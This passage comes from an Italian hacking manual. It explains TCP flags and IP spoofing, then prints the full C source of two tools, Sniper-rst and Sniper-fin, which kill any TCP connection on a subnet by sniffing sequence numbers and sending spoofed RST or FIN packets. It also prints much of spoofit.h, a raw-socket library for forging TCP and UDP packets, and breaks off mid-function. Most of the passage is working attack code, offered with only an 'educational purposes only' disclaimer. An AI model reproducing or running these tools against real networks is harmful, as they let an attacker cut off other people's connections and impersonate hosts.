I dati inviati tramite protocollo TCP possono arrivare anche con ordini differenti da quelli
d’invio.
La possibilità di poter ricostruire questa sequenza è offerta appunto dalla presenza di questo
numero sequenziale mentre la ritrasmissione dei pacchetti trasmessi può essere richiesta
mediante l’acknowledgment number il quale indica il numero del prossimo byte atteso.
Vediamo un esempio pratico :

SISTEMA   A    ---   SEQ-NUM=1000    ACK-NUM=5000     DATI=100 bytes ----        SISTEMA    B
SISTEMA   A    -    SEQ-NUM=5000    ACK-NUM=1100     DATI=250 bytes ------       SISTEMA    B
SISTEMA   A    ---   SEQ-NUM=1100    ACK-NUM=5250     DATI=250 bytes ----        SISTEMA    B
SISTEMA   A    -    SEQ-NUM=5250    ACK-NUM=1250     DATI=0 bytes --------       SISTEMA    B

L’invio di un pacchetto con il flag FIN alzato indica al destinatario che non ci sono più dati da
spedire per cui dopo che questo viene confermato la connessione viene chiusa.
Al contrario di questo il flag RST viene utilizzato per reinizializzare la comunicazione che per
qualsiasi motivo è diventata instabile.
Fate attenzione che la ricezione di questo flag alzato potrebbe indicare un problema della
connessione.
A questo punto vedendo la manipolazione che il protocollo TCP esegue sui flags interni agli
header dei pacchetti è facile comprendere come l’alterazione voluta di questi valori con il più
la modifica degli indirizzi di sorgente e di destinazione possa di fatto essere il modo con cui è
possibile creare attacchi di IP Spooifing, come abbiamo già visto precedentemente.
Questa parte vuole solo aggiungere alcuni concetti a quanto già visto.




Copyright 2002 Flavio Bernardotti – Tel. (39) 380 7097051
Hacker Programming Book

Una aggiunta che è possibile fare al concetto di spoofing è quello legato alla suddivisione di
questa tecnica in due differenti le quali si diversificano dal fatto che l’host a cui ci si vuole
sostituire sia di fatto partecipante alla sottorete della vittima o uno qualsiasi.
Nel primo caso viene definito spoofing non cieco ovvero quello in cui l’host appartiene alla
intranet della vittima.
Nel secondo caso abbiamo a che fare con lo spoofing cieco.
Quando esiste un cero numero di host connessi ad una rete e si vuole fare giungere un
pacchetto ad uno di questi, lo si invia in broadcast in modo tale che tutti lo ricevano ma solo
quello che a seguito dell’analisi del campo relativo al destinatario identifica come suo l’IP lo
processa.
Le schede relative alle interfacce di rete possono essere settate in modo promiscuo.
Abbiamo visto questa modalità parlando degli sniffer i quali proprio per il loro tipo di
funzionamento devono processare tutti i pacchetti che gli giungono sopra.
In modalità promiscua la scheda di rete processa tutti i pacchetti che gli arrivano.
Nel caso di spoofing non cieco l’attaccante cerca di farsi passare come un host che fa parte
della sottorete per cui mette la scheda di rete in modalità promiscua in modo da poter leggere
tutti i pacchetti compresi quelli che dovrebbero arrivare al sistema a cui vuole sostituirsi.
In questo modo riesce ad individuare il SEQUENCE NUMBER.
Alcune difficoltà possono sorgere a causa delle scelte fatte per la strutturazione della rete
mediante il fatto di adottare degli switch anziché degli HUB.
Gli switch infatti inviano solo al destinatario i pacchetti al contrario di quello che fanno gli hub.
Come abiamo vistonele pagine precedenti l’invio di pachetti con certi flag alzati permette di
scollegare certi sistemi.
Una volta ottenuto il sequenze number l’attaccante potrebbe spedire un pacchetto
appositamente creato con i flags RST e FIN finalizzato a far cadere la connessione.
Vediamo come è possibile utilizzando il flag RST.
Il pacchetto con lo scopo di resettare la connessione possiede solo il SEQUENCE NUMBER
valido mentre l’AKNOLEDGMENT viene disabilitato.
Supponiamo di avere questa situazione :

A -----------H-------R--------------B              A e C = Host della stessa sottorete
             |                                     B     = Host di una rete diversa
C -----------+                                     H     = HUB
                                                   R     = Router

Supponiamo che tra gli host A e B ci sia una connessione e che l’attaccante si trovi nella
postazione C.
Per cercare di resettare la connessione l’attaccante dovrà attendere di ricevere un pacchetto
salla connessione A-B.
Partendo dal presupposto che riceva un pacchetto da B verso A, egli calcolerà il SEQUENCE
NUMBER a partire dall’ACKNOWLEDGEMENT del pacchetto ricevuto., poi costruirà e
spedirà un pacchetto con le seguenti impostazioni:

Campi del pacchetti IP:
IP sorgente       = A (IP spooffato)
IP destinazione   = B

Campi del pacchetto TCP
Porta sorgente          = Porta usata dall’host A
Porta destinazione      = Porta usata dall’host B
Sequence number contenente il valore calcolato
Flag RST impostato

In questo modo viene resettata la connessione.
Il sorgente implementa questa metodologia.

/**************************************************************************/
/* Sniper-rst - Example program on connection killing with IP spoofing    */
/*               Using the RST flag.                                      */
/*               (illustration for 'A short overview of IP spoofing')     */
/*                                                                        */
/* Purpose - Killing any TCP connection on your subnet                    */



Copyright 2002 Flavio Bernardotti – Tel. (39) 380 7097051
Hacker Programming Book

/*                                                                        */
/* Author - Brecht Claerhout <Coder@reptile.rug.ac.be>                    */
/*           Serious advice, comments, statements, greets, always welcome */
/*           flames, moronic 3l33t >/dev/null                             */
/*                                                                        */
/* Disclaimer - This program is for educational purposes only. I am in    */
/*               NO way responsible for what you do with this program,    */
/*               or any damage you or this program causes.                */
/*                                                                        */
/* For whom - People with a little knowledge of TCP/IP, C source code     */
/*             and general UNIX. Otherwise, please keep your hands of,    */
/*             and catch up on those things first.                        */
/*                                                                        */
/* Limited to - Linux 1.3.X or higher.                                    */
/*               ETHERNET support ("eth0" device)                         */
/*               If you network configuration differs it shouldn't be to */
/*               hard to modify yourself. I got it working on PPP too,    */
/*               but I'm not including extra configuration possibilities */
/*               because this would overload this first release that is   */
/*               only a demonstration of the mechanism.                   */
/*               Anyway if you only have ONE network device (slip,        */
/*               ppp,... ) after a quick look at this code and spoofit.h */
/*               it will only take you a few secs to fix it...            */
/*               People with a bit of C knowledge and well known with     */
/*               their OS shouldn't have to much trouble to port the code.*/
/*               If you do, I would love to get the results.              */
/*                                                                        */
/* Compiling - gcc -o sniper-rst sniper-rst.c                             */
/*                                                                        */
/* Usage - Usage described in the spoofing article that came with this. */
/*          If you didn't get this, try to get the full release...        */
/*                                                                        */
/* See also - Sniffit (for getting the necessairy data on a connection) */
/**************************************************************************/

#include "spoofit.h"

/* Those 2 'defines' are important for putting the receiving device in   */
/* PROMISCUOUS mode                                                      */
#define INTERFACE   "eth0"
#define INTERFACE_PREFIX 14

char SOURCE[100],DEST[100];
int SOURCE_P,DEST_P;

void main(int argc, char *argv[])
{
int i,stat,j;
int fd_send, fd_receive;
unsigned long sp_ack, sp_seq;
unsigned short flags;
struct sp_wait_packet pinfo;

if(argc != 5)
       {
       printf("usage: %s host1 port1 host2 port2\n",argv[0]);
       exit(0);
       }

/* preparing some work */
DEV_PREFIX = INTERFACE_PREFIX;
strcpy(SOURCE,argv[1]);
SOURCE_P=atoi(argv[2]);
strcpy(DEST,argv[3]);
DEST_P=atoi(argv[4]);

/* opening sending and receiving sockets */
fd_send = open_sending();



Copyright 2002 Flavio Bernardotti – Tel. (39) 380 7097051
Hacker Programming Book

fd_receive = open_receiving(INTERFACE, IO_NONBLOCK); /* nonblocking IO */

printf("Trying to terminate the connection\n");

for(i=1;i<=100;i++)
  {
  /* Waiting for a packet containing an ACK */
  stat=wait_packet(fd_receive,&pinfo,SOURCE,SOURCE_P,DEST,DEST_P,ACK,5);
  if(stat==-1) {printf("Connection 5 secs idle or dead...\n");exit(1);}
  sp_seq=pinfo.ack;
  sp_ack=0;
  j=0;
  /* Sending our fake Packet */

/* for(j=0;j<10;j++)    This would be better       */
/*     {                                          */
       transmit_TCP (fd_send, NULL,0,0,0,DEST,DEST_P,SOURCE,SOURCE_P,
                                              sp_seq+j,sp_ack,RST);
/*       }                                         */

  /* waiting for confirmation */
  stat=wait_packet(fd_receive,&pinfo,SOURCE,SOURCE_P,DEST,DEST_P,0,5);
  if(stat<0)
      {
      printf("Connection 5 secs idle or dead...\n");
      exit(0);
      }
  }
printf("I did not succeed in killing it.\n");
}

La stessa cosa potrebbe essere eseguita impostando il flag FIN.
L’implementazione in C è la seguente:


/**************************************************************************/
/* Sniper-fin - Example program on connection killing with IP spoofing    */
/*               using the FIN flag.                                      */
/*               (illustration for 'A short overview of IP spoofing')     */
/*                                                                        */
/* Purpose - Killing any TCP connection on your subnet                    */
/*                                                                        */
/* Author - Brecht Claerhout <Coder@reptile.rug.ac.be>                    */
/*           Serious advice, comments, statements, greets, always welcome */
/*           flames, moronic 3l33t >/dev/null                             */
/*                                                                        */
/* Disclaimer - This program is for educational purposes only. I am in    */
/*               NO way responsible for what you do with this program,    */
/*               or any damage you or this program causes.                */
/*                                                                        */
/* For whom - People with a little knowledge of TCP/IP, C source code     */
/*             and general UNIX. Otherwise, please keep your hands of,    */
/*             and catch up on those things first.                        */
/*                                                                        */
/* Limited to - Linux 1.3.X or higher.                                    */
/*               ETHERNET support ("eth0" device)                         */
/*               If you network configuration differs it shouldn't be to */
/*               hard to modify yourself. I got it working on PPP too,    */
/*               but I'm not including extra configuration possibilities */
/*               because this would overload this first release that is   */
/*               only a demonstration of the mechanism.                   */
/*               Anyway if you only have ONE network device (slip,        */
/*               ppp,... ) after a quick look at this code and spoofit.h */
/*               it will only take you a few secs to fix it...            */
/*               People with a bit of C knowledge and well known with     */
/*               their OS shouldn't have to much trouble to port the code.*/
/*               If you do, I would love to get the results.              */
/*                                                                        */



Copyright 2002 Flavio Bernardotti – Tel. (39) 380 7097051
Hacker Programming Book

/* Compiling - gcc -o sniper-fin sniper-fin.c                             */
/*                                                                        */
/* Usage - Usage described in the spoofing article that came with this. */
/*          If you didn't get this, try to get the full release...        */
/*                                                                        */
/* See also - Sniffit (for getting the necessairy data on a connection) */
/**************************************************************************/

#include "spoofit.h"

/* Those 2 'defines' are important for putting the receiving device in   */
/* PROMISCUOUS mode                                                      */
#define INTERFACE   "eth0"
#define INTERFACE_PREFIX 14

char SOURCE[100],DEST[100];
int SOURCE_P,DEST_P;

void main(int argc, char *argv[])
{
int i,stat;
int fd_send, fd_receive;
unsigned long sp_ack, sp_seq;
unsigned short flags;
struct sp_wait_packet pinfo;

if(argc != 5)
       {
       printf("usage: %s host1 port1 host2 port2\n",argv[0]);
       exit(0);
       }

/* preparing some work */
DEV_PREFIX = INTERFACE_PREFIX;
strcpy(SOURCE,argv[1]);
SOURCE_P=atoi(argv[2]);
strcpy(DEST,argv[3]);
DEST_P=atoi(argv[4]);

/* opening sending and receiving sockets */
fd_send = open_sending();
fd_receive = open_receiving(INTERFACE, IO_NONBLOCK); /* nonblocking IO */

for(i=1;i<100;i++)
  {
  printf("Attack Sequence %d.\n",i);
  /* Waiting for a packet containing an ACK */
  stat=wait_packet(fd_receive,&pinfo,SOURCE,SOURCE_P,DEST,DEST_P,ACK,10);
  if(stat==-1) {printf("Connection 10 secs idle... timeout.\n");exit(1);}
  sp_seq=pinfo.ack;
  sp_ack=pinfo.seq+pinfo.datalen;
  /* Sending our fake Packet */
                                     transmit_TCP                   (fd_send,
NULL,0,0,0,DEST,DEST_P,SOURCE,SOURCE_P,sp_seq,sp_ack,ACK|FIN);
  /* waiting for confirmation */
  stat=wait_packet(fd_receive,&pinfo,SOURCE,SOURCE_P,DEST,DEST_P,FIN,5);
  if(stat>=0)
      {
      printf("Killed the connection...\n");
      exit(0);
      }
  printf("Hmmmm.... no response detected... (retry)\n");
  }
printf("I did not succeed in killing it.\n");
}




Copyright 2002 Flavio Bernardotti – Tel. (39) 380 7097051
Hacker Programming Book

Il seguente sorgente permette di implementare facilmente delle funzioni di spoofing all’interno
dei vostri programmi.
Il tutto deve essere compilato sotto Linux con Kernel superiore alla versione 1.3.x


/**************************************************************************/
/* Spoofit.h - Include file for easy creating of spoofed TCP packets       */
/*              Requires LINUX 1.3.x (or later) Kernel                     */
/*              (illustration for 'A short overview of IP spoofing')       */
/*              V.1 - Copyright 1996 - Brecht Claerhout                    */
/*                                                                         */
/* Purpose - Providing skilled people with a easy to use spoofing source */
/*             I used it to be able to write my tools fast and short.      */
/*             Mind you this is only illustrative and can be easily        */
/*             optimised.                                                  */
/*                                                                         */
/* Author - Brecht Claerhout <Coder@reptile.rug.ac.be>                     */
/*            Serious advice, comments, statements, greets, always welcome */
/*            flames, moronic 3l33t >/dev/null                             */
/*                                                                         */
/* Disclaimer - This file is for educational purposes only. I am in        */
/*                NO way responsible for what you do with this file,       */
/*                or any damage you or this file causes.                   */
/*                                                                         */
/* For whom - People with a little knowledge of TCP/IP, C source code      */
/*              and general UNIX. Otherwise, please keep your hands of,    */
/*              and catch up on those things first.                        */
/*                                                                         */
/* Limited to - Linux 1.3.X or higher.                                     */
/*                If you know a little about your OS, shouldn't be to hard */
/*                to port.                                                 */
/*                                                                         */
/* Important note - You might have noticed I use non standard packet       */
/*                   header struct's. How come?? Because I started like    */
/*                   that on Sniffit because I wanted to do the            */
/*                   bittransforms myself.                                 */
/*                   Well I got so damned used to them, I keep using them, */
/*                   they are not very different, and not hard to use, so */
/*                   you'll easily use my struct's without any problem,    */
/*                   this code and the examples show how to use them.      */
/*                   my apologies for this inconvenience.                  */
/*                                                                         */
/* None of this code can be used in commercial software. You are free to */
/* use it in any other non-commercial software (modified or not) as long */
/* as you give me the credits for it. You can spread this include file,    */
/* but keep it unmodified.                                                 */
/*                                                                         */
/**************************************************************************/
/*                                                                         */
/* Easiest way to understand this library is to look at the use of it, in */
/* the example progs.                                                      */
/*                                                                         */
/**** Sending packets *****************************************************/
/*                                                                         */
/* int open_sending (void)                                                 */
/*   Returns a filedescriptor to the sending socket.                       */
/*   close it with close (int filedesc)                                    */
/*                                                                         */
/* void transmit_TCP (int sp_fd, char *sp_data,                            */
/*                    int sp_ipoptlen, int sp_tcpoptlen, int sp_datalen, */
/*                     char *sp_source, unsigned short sp_source_port,     */
/*                     char *sp_dest,unsigned short sp_dest_port,          */
/*                     unsigned long sp_seq, unsigned long sp_ack,         */
/*                     unsigned short sp_flags)                            */
/*   fire data away in a TCP packet                                        */
/*    sp_fd          : raw socket filedesc.                                */
/*    sp_data        : IP options (you should do the padding)              */



Copyright 2002 Flavio Bernardotti – Tel. (39) 380 7097051
Hacker Programming Book

/*                     TCP options (you should do the padding)              */
/*                     data to be transmitted                               */
/*                     (NULL is nothing)                                    */
/*                     note that all is optional, and IP en TCP options are*/
/*                     not often used.                                      */
/*                     All data is put after eachother in one buffer.       */
/*    sp_ipoptlen    : length of IP options (in bytes)                      */
/*    sp_tcpoptlen : length of TCP options (in bytes)                       */
/*    sp_datalen     : amount of data to be transmitted (bytes)             */
/*    sp_source      : spoofed host that"sends packet"                      */
/*    sp_source_port: spoofed port that "sends packet"                      */
/*    sp_dest        : host that should receive packet                      */
/*    sp_dest_port : port that should receive packet                        */
/*    sp_seq         : sequence number of packet                            */
/*    sp_ack         : ACK of packet                                        */
/*    sp_flags       : flags of packet (URG,ACK,PSH,RST,SYN,FIN)            */
/*                                                                          */
/* void transmit_UDP (int sp_fd, char *sp_data,                             */
/*                     int sp_ipoptlen, int sp_datalen,                     */
/*                  char *sp_source, unsigned short sp_source_port,      */
/*                     char *sp_dest, unsigned short sp_dest_port)          */
/*   fire data away in an UDP packet                                        */
/*    sp_fd          : raw socket filedesc.                                 */
/*    sp_data        : IP options                                           */
/*                     data to be transmitted                               */
/*                     (NULL if none)                                       */
/*    sp_ipoptlen    : length of IP options (in bytes)                      */
/*    sp_datalen     : amount of data to be transmitted                     */
/*    sp_source      : spoofed host that"sends packet"                      */
/*    sp_source_port: spoofed port that "sends packet"                      */
/*    sp_dest        : host that should receive packet                      */
/*    sp_dest_port : port that should receive packet                        */
/*                                                                          */
/**** Receiving packets ***************************************************/
/*                                                                          */
/* int open_receiving (char *rc_device, char mode)                          */
/*   Returns fdesc to a receiving socket                                    */
/*        (if mode: IO_HANDLE don't call this twice, global var             */
/*          rc_fd_abc123 is initialised)                                    */
/*     rc_device: the device to use e.g. "eth0", "ppp0"                     */
/*                 be sure to change DEV_PREFIX accordingly!                */
/*                 DEV_PREFIX is the length in bytes of the header that     */
/*                 comes with a SOCKET_PACKET due to the network device     */
/*     mode: 0: normal mode, blocking, (read will wait till packet          */
/*            comes, mind you, we are in PROMISC mode)                      */
/*            IO_NONBLOCK: non-blocking mode (read will not wait till       */
/*            usefull for active polling)                                   */
/*            IO_HANDLE installs the signal handler that updates SEQ,ACK,..*/
/*            (IO_HANDLE is not recommended to use, as it should be         */
/*            modified according to own use, and it works bad on heavy      */
/*            traffic continuous monitoring. I needed it once, but left it */
/*            in to make you able to have a look at Signal handled IO,      */
/*            personally I would have removed it, but some thought it       */
/*            doesn't do any harm anyway, so why remove... )                */
/*            (I'm not giving any more info on IO_HANDLE as it is not       */
/*            needed for the example programs, and interested people can    */
/*            easilythey figure the code out theirselves.)                  */
/*            (Besides IO_HANDLE can only be called ONCE in a program,      */
/*            other modes multiple times)                                   */
/*                                                                          */
/* int get_packet (int rc_fd, char *buffer, int *TCP_UDP_start,             */
/*               unsigned char *proto)                                   */
/*        This waits for a packet (mode default) and puts it in buffer or */
/*        returns whether there is a pack or not (IO_NONBLOCK).             */
/*        It returns the packet length if there is one available, else 0 */
/*                                                                          */
/* int wait_packet(int wp_fd,struct sp_wait_packet *ret_values,             */
/*                   char *wp_source, unsigned short wp_source_port,        */



Copyright 2002 Flavio Bernardotti – Tel. (39) 380 7097051
Hacker Programming Book

/*                  char *wp_dest, unsigned short wp_dest_port,           */
/*                 int wp_flags, int wait_time);                         */
/*   wp_fd: a receiving socket (default or IO_NONBLOCK)                   */
/*   ret_values: pointer to a sp_wait_packet struct, that contains SEQ,   */
/*               ACK, flags, datalen of that packet. For further packet   */
/*               handling see the examples.                               */
/*                  struct sp_wait_packet {                               */
/*                         unsigned                long              seq,ack;
*/
/*                      unsigned short flags;                             */
/*                      int datalen;                                      */
/*                      };                                                */
/*   wp_source, wp_source_port : sender of packet                         */
/*   wp_dest, wp_dest_port      : receiver of packet                      */
/*   wp_flags: flags that should be present in packet.. (mind you there   */
/*             could be more present, so check on return)                 */
/*             note: if you don't care about flag, use 0                  */
/*   wait_time: if not zero, this function will return -1 if no correct   */
/*              packet has arrived within wait_time secs.                 */
/*              (only works on IO_NONBLOCK socket)                        */
/*                                                                        */
/* void set_filter (char *f_source, unsigned short f_source_port,         */
/*                  char *f_dest, unsigned short f_dest_port)             */
/*        (for use with IO_HANDLE)                                        */
/*        Start the program to watch all trafic from source/port to       */
/*        dest/port. This enables the updating of global data. Can        */
/*        be called multiple times.                                       */
/*                                                                        */
/* void close_receiving (void)                                            */
/*           When opened a IO_HANDLE mode receiving socket close it with */
/*           this.                                                        */
/*                                                                        */
/**** Global DATA (IO_HANDLE mode) ****************************************/
/*                                                                        */
/* When accessing global data, copy the values to local vars and then use */
/* them. Reduce access time to a minimum.                                 */
/* Mind you use of this is very limited, if you are a novice on IO, just */
/* ignore it, the other functions are good enough!). If not, rewrite the */
/* handler for your own use...                                            */
/*                                                                        */
/* sig_atomic_t SP_DATA_BUSY                                              */
/*        Put this on NON-ZERO when accesing global data. Incoming        */
/*        packets will be ignored then, data can not be overwritten.      */
/*                                                                        */
/* unsigned long int CUR_SEQ, CUR_ACK;                                    */
/*        Last recorded SEQ and ACK number of the filtered "stream".      */
/*        Before accessing this data set SP_DATA_BUSY non-zero,           */
/*        afterward set it back to zero.                                  */
/*                                                                        */
/* unsigned long int CUR_COUNT;                                           */
/*        increased everytime other data is updated                       */
/*                                                                        */
/* unsigned int CUR_DATALEN;                                              */
/*       Length of date in last TCP packet                           */
/*                                                                        */
/**************************************************************************/

#include   "sys/socket.h"       /* includes, what would we do without them   */
#include   "netdb.h"
#include   "stdlib.h"
#include   "unistd.h"
#include   "stdio.h"
#include   "errno.h"
#include   "netinet/in.h"
#include   "netinet/ip.h"
#include   "linux/if.h"
#include   "sys/ioctl.h"
#include   "sys/types.h"



Copyright 2002 Flavio Bernardotti – Tel. (39) 380 7097051
Hacker Programming Book

#include "signal.h"
#include "fcntl.h"

#undef    DEBUG
#define   IP_VERSION 4                  /* keep y'r hands off...              */
#define   MTU         1500
#define   IP_HEAD_BASE       20                  /* using fixed lengths to send
*/
#define   TCP_HEAD_BASE      20                             /* no options etc...
*/
#define   UDP_HEAD_BASE      8                                  /*   Always    fixed
*/

#define IO_HANDLE   1
#define IO_NONBLOCK 2

int DEV_PREFIX = 9999;
sig_atomic_t WAIT_PACKET_WAIT_TIME=0;

/****                                                               IO_HANDLE
************************************************************/
int rc_fd_abc123;
sig_atomic_t RC_FILTSET=0;
char rc_filter_string[50];                       /* x.x.x.x.p-y.y.y.y.g */

sig_atomic_t SP_DATA_BUSY=0;
unsigned long int CUR_SEQ=0, CUR_ACK=0, CUR_COUNT=0;
unsigned int CUR_DATALEN;
unsigned short CUR_FLAGS;
/
***************************************************************************/

struct sp_wait_packet
{
       unsigned long seq,ack;
       unsigned short flags;
       int datalen;
};

/* Code   from Sniffit - BTW my own program.... no copyright violation here */
#define   URG 32       /* TCP flags */
#define   ACK 16
#define   PSH 8
#define   RST 4
#define   SYN 2
#define   FIN 1

struct PACKET_info
{
       int len, datalen;
       unsigned long int seq_nr, ACK_nr;
       u_char FLAGS;
};

struct IP_header                           /* The IPheader (without options) */
{
        unsigned   char verlen, type;
        unsigned   short length, ID, flag_offset;
        unsigned   char TTL, protocol;
        unsigned   short checksum;
        unsigned   long int source, destination;
};

struct TCP_header                     /* The TCP header (without options) */
{
        unsigned short source, destination;
        unsigned long int seq_nr, ACK_nr;
        unsigned short offset_flag, window, checksum, urgent;



Copyright 2002 Flavio Bernardotti – Tel. (39) 380 7097051
Hacker Programming Book

};

struct UDP_header                                           /* The UDP header */
{
        unsigned short source, destination;
        unsigned short length, checksum;
};

struct pseudo_IP_header          /* The pseudo IP header (checksum calc) */
{
        unsigned long int source, destination;
       char zero_byte, protocol;
       unsigned short TCP_UDP_len;
};

/* data structure for argument passing    */

struct sp_data_exchange    {
       int fd;                                 /* Sh!t from transmit_TCP     */
       char *data;
       int datalen;
       char *source; unsigned short source_port;
       char *dest;   unsigned short dest_port;
        unsigned long seq, ack;
        unsigned short flags;

       char *buffer;                 /* work buffer */

        int IP_optlen;                /* IP options length in bytes */
        int TCP_optlen;               /* TCP options length in bytes */
       };

/****************                        all                        functions
*******************************************/
void transmit_TCP (int fd, char *sp_data,
                       int sp_ipoptlen, int sp_tcpoptlen, int sp_datalen,
                        char *sp_source, unsigned short sp_source_port,
                       char *sp_dest, unsigned short sp_dest_port,
                           unsigned long sp_seq, unsigned long sp_ack,
                           unsigned short sp_flags);

void transmit_UDP (int sp_fd, char *sp_data,
                       int ipoptlen, int sp_datalen,
                        char *sp_source, unsigned short sp_source_port,
                       char *sp_dest, unsigned short sp_dest_port);

int get_packet (int rc_fd, char *buffer, int *, unsigned char*);
int wait_packet(int,struct sp_wait_packet *,char *, unsigned short,char *,
unsigned short, int, int);

static unsigned long sp_getaddrbyname(char *);

int open_sending (void);
int open_receiving (char *, char);
void close_receiving (void);

void sp_send_packet (struct sp_data_exchange *, unsigned char);
void sp_fix_TCP_packet (struct sp_data_exchange *);
void sp_fix_UDP_packet (struct sp_data_exchange *);
void sp_fix_IP_packet (struct sp_data_exchange *, unsigned char);
unsigned short in_cksum(unsigned short *, int );

void rc_sigio (int);
void set_filter (char *, unsigned short, char *, unsigned short);

/********************* let the games commence ****************************/

static unsigned long sp_getaddrbyname(char *sp_name)



Copyright 2002 Flavio Bernardotti – Tel. (39) 380 7097051
Hacker Programming Book

{
struct hostent *sp_he;
int i;

if(isdigit(*sp_name))
  return inet_addr(sp_name);

for(i=0;i<100;i++)
     {
     if(!(sp_he = gethostbyname(sp_name)))
       {printf("WARNING: gethostbyname failure!\n");
       sleep(1);
       if(i>=3)       /* always a retry here in this kind of application */
          printf("Coudn't resolv hostname."), exit(1);
       }
     else break;
     }
return sp_he ? *(long*)*sp_he->h_addr_list : 0;
}

int open_sending (void)
{
struct protoent *sp_proto;
int sp_fd;
int dummy=1;

/* they don't come rawer */
if ((sp_fd = socket(AF_INET, SOCK_RAW, IPPROTO_RAW))==-1)
        perror("Couldn't open Socket."), exit(1);

#ifdef DEBUG
       printf("Raw socket ready\n");
#endif
return sp_fd;
}

void sp_send_packet (struct sp_data_exchange *sp, unsigned char proto)
{
int sp_status;
struct sockaddr_in sp_server;
struct hostent *sp_help;
int HEAD_BASE;

/* Construction of destination */
bzero((char *)&sp_server, sizeof(struct sockaddr));
sp_server.sin_family = AF_INET;
sp_server.sin_addr.s_addr = inet_addr(sp->dest);
if (sp_server.sin_addr.s_addr == (unsigned int)-1)
        {                       /* if target not in DOT/number notation */
        if (!(sp_help=gethostbyname(sp->dest)))
           fprintf(stderr,"unknown host %s\n", sp->dest), exit(1);
               bcopy(sp_help->h_addr, (caddr_t)&sp_server.sin_addr, sp_help-
>h_length);
        };

switch(proto)
       {
       case 6: HEAD_BASE = TCP_HEAD_BASE; break;                    /* TCP */
       case 17: HEAD_BASE = UDP_HEAD_BASE; break;                   /* UDP */
       default: exit(1); break;
       };
sp_status       =      sendto(sp->fd,      (char      *)(sp->buffer),      sp-
>datalen+HEAD_BASE+IP_HEAD_BASE+sp->IP_optlen, 0,
                     (struct sockaddr *)&sp_server,sizeof(struct sockaddr));
if (sp_status < 0 || sp_status != sp->datalen+HEAD_BASE+IP_HEAD_BASE+sp-
>IP_optlen)
         {
         if (sp_status < 0)



Copyright 2002 Flavio Bernardotti – Tel. (39) 380 7097051
Hacker Programming Book

           perror("Sendto"), exit(1);
        printf("hmm... Only transmitted %d of %d bytes.\n", sp_status,
                                        sp->datalen+HEAD_BASE);
        };
#ifdef DEBUG
       printf("Packet transmitted...\n");
#endif
}

void sp_fix_IP_packet (struct sp_data_exchange *sp, unsigned char proto)
{
struct IP_header *sp_help_ip;
int HEAD_BASE;

switch(proto)
       {
       case 6: HEAD_BASE = TCP_HEAD_BASE; break;                  /* TCP */
       case 17: HEAD_BASE = UDP_HEAD_BASE; break;                 /* UDP */
       default: exit(1); break;
       };

sp_help_ip = (struct IP_header *) (sp->buffer);
sp_help_ip->verlen = (IP_VERSION << 4) | ((IP_HEAD_BASE+sp->IP_optlen)/4);
sp_help_ip->type = 0;
sp_help_ip->length       =       htons(IP_HEAD_BASE+HEAD_BASE+sp->datalen+sp-
>IP_optlen+sp->TCP_optlen);
sp_help_ip->ID = htons(12545);                                  /* TEST */
sp_help_ip->flag_offset = 0;
sp_help_ip->TTL = 69;
sp_help_ip->protocol = proto;
sp_help_ip->source = sp_getaddrbyname(sp->source);
sp_help_ip->destination = sp_getaddrbyname(sp->dest);
sp_help_ip->checksum=in_cksum((unsigned short *) (sp->buffer),
                                       IP_HEAD_BASE+sp->IP_optlen);
#ifdef DEBUG
       printf("IP header fixed...\n");
#endif
}

void sp_fix_TCP_packet (struct sp_data_exchange *sp)
{
char sp_pseudo_ip_construct[MTU];
struct TCP_header *sp_help_tcp;
struct pseudo_IP_header *sp_help_pseudo;
int i;

for(i=0;i<MTU;i++)
  {sp_pseudo_ip_construct[i]=0;}

sp_help_tcp = (struct TCP_header *) (sp->buffer+IP_HEAD_BASE+sp->IP_optlen);
sp_help_pseudo = (struct pseudo_IP_header *) sp_pseudo_ip_construct;

sp_help_tcp->offset_flag = htons( (((TCP_HEAD_BASE+sp->TCP_optlen)/4)<<12) |
sp->flags);
sp_help_tcp->seq_nr = htonl(sp->seq);
sp_help_tcp->ACK_nr = htonl(sp->ack);
sp_help_tcp->source = htons(sp->source_port);
sp_help_tcp->destination = htons(sp->dest_port);
sp_help_tcp->window = htons(0x7c00);             /* dummy for now 'wujx' */

sp_help_pseudo->source = sp_getaddrbyname(sp->source);
sp_help_pseudo->destination = sp_getaddrbyname(sp->dest);
sp_help_pseudo->zero_byte = 0;
sp_help_pseudo->protocol = 6;
sp_help_pseudo->TCP_UDP_len       =       htons(sp->datalen+TCP_HEAD_BASE+sp-
>TCP_optlen);




Copyright 2002 Flavio Bernardotti – Tel. (39) 380 7097051
Hacker Programming Book

memcpy(sp_pseudo_ip_construct+12,        sp_help_tcp,       sp->TCP_optlen+sp-
>datalen+TCP_HEAD_BASE);
sp_help_tcp->checksum=in_cksum((unsigned short *) sp_pseudo_ip_construct,
                             sp->datalen+12+TCP_HEAD_BASE+sp->TCP_optlen);
#ifdef DEBUG
       printf("TCP header fixed...\n");
#endif
}

void transmit_TCP (int sp_fd, char *sp_data,
                       int sp_ipoptlen, int sp_tcpoptlen, int sp_datalen,
                        char *sp_source, unsigned short sp_source_port,
                       char *sp_dest, unsigned short sp_dest_port,
                           unsigned long sp_seq, unsigned long sp_ack,
                           unsigned short sp_flags)
{
char sp_buffer[1500];
struct sp_data_exchange sp_struct;

bzero(sp_buffer,1500);
if (sp_ipoptlen!=0)
       memcpy(sp_buffer+IP_HEAD_BASE,sp_data,sp_ipoptlen);

if (sp_tcpoptlen!=0)
       memcpy(sp_buffer+IP_HEAD_BASE+TCP_HEAD_BASE+sp_ipoptlen,
                                        sp_data+sp_ipoptlen,sp_tcpoptlen);
if (sp_datalen!=0)
       memcpy(sp_buffer+IP_HEAD_BASE+TCP_HEAD_BASE+sp_ipoptlen+sp_tcpoptlen,
                    sp_data+sp_ipoptlen+sp_tcpoptlen,sp_datalen);

sp_struct.fd            =   sp_fd;
sp_struct.data          =   sp_data;
sp_struct.datalen       =   sp_datalen;
sp_struct.source        =   sp_source;
sp_struct.source_port   =   sp_source_port;
sp_struct.dest          =   sp_dest;
sp_struct.dest_port     =   sp_dest_port;
sp_struct.seq           =   sp_seq;
sp_struct.ack           =   sp_ack;
sp_struct.flags         =   sp_flags;
sp_struct.buffer        =   sp_buffer;
sp_struct.IP_optlen     =   sp_ipoptlen;
sp_struct.TCP_optlen    =   sp_tcpoptlen;

sp_fix_TCP_packet(&sp_struct);
sp_fix_IP_packet(&sp_struct, 6);
sp_send_packet(&sp_struct, 6);
}

void sp_fix_UDP_packet (struct sp_data_exchange *sp)
{
char sp_pseudo_ip_construct[MTU];
struct UDP_header *sp_help_udp;
struct pseudo_IP_header *sp_help_pseudo;
int i;

for(i=0;i<MTU;i++)
  {sp_pseudo_ip_construct[i]=0;}

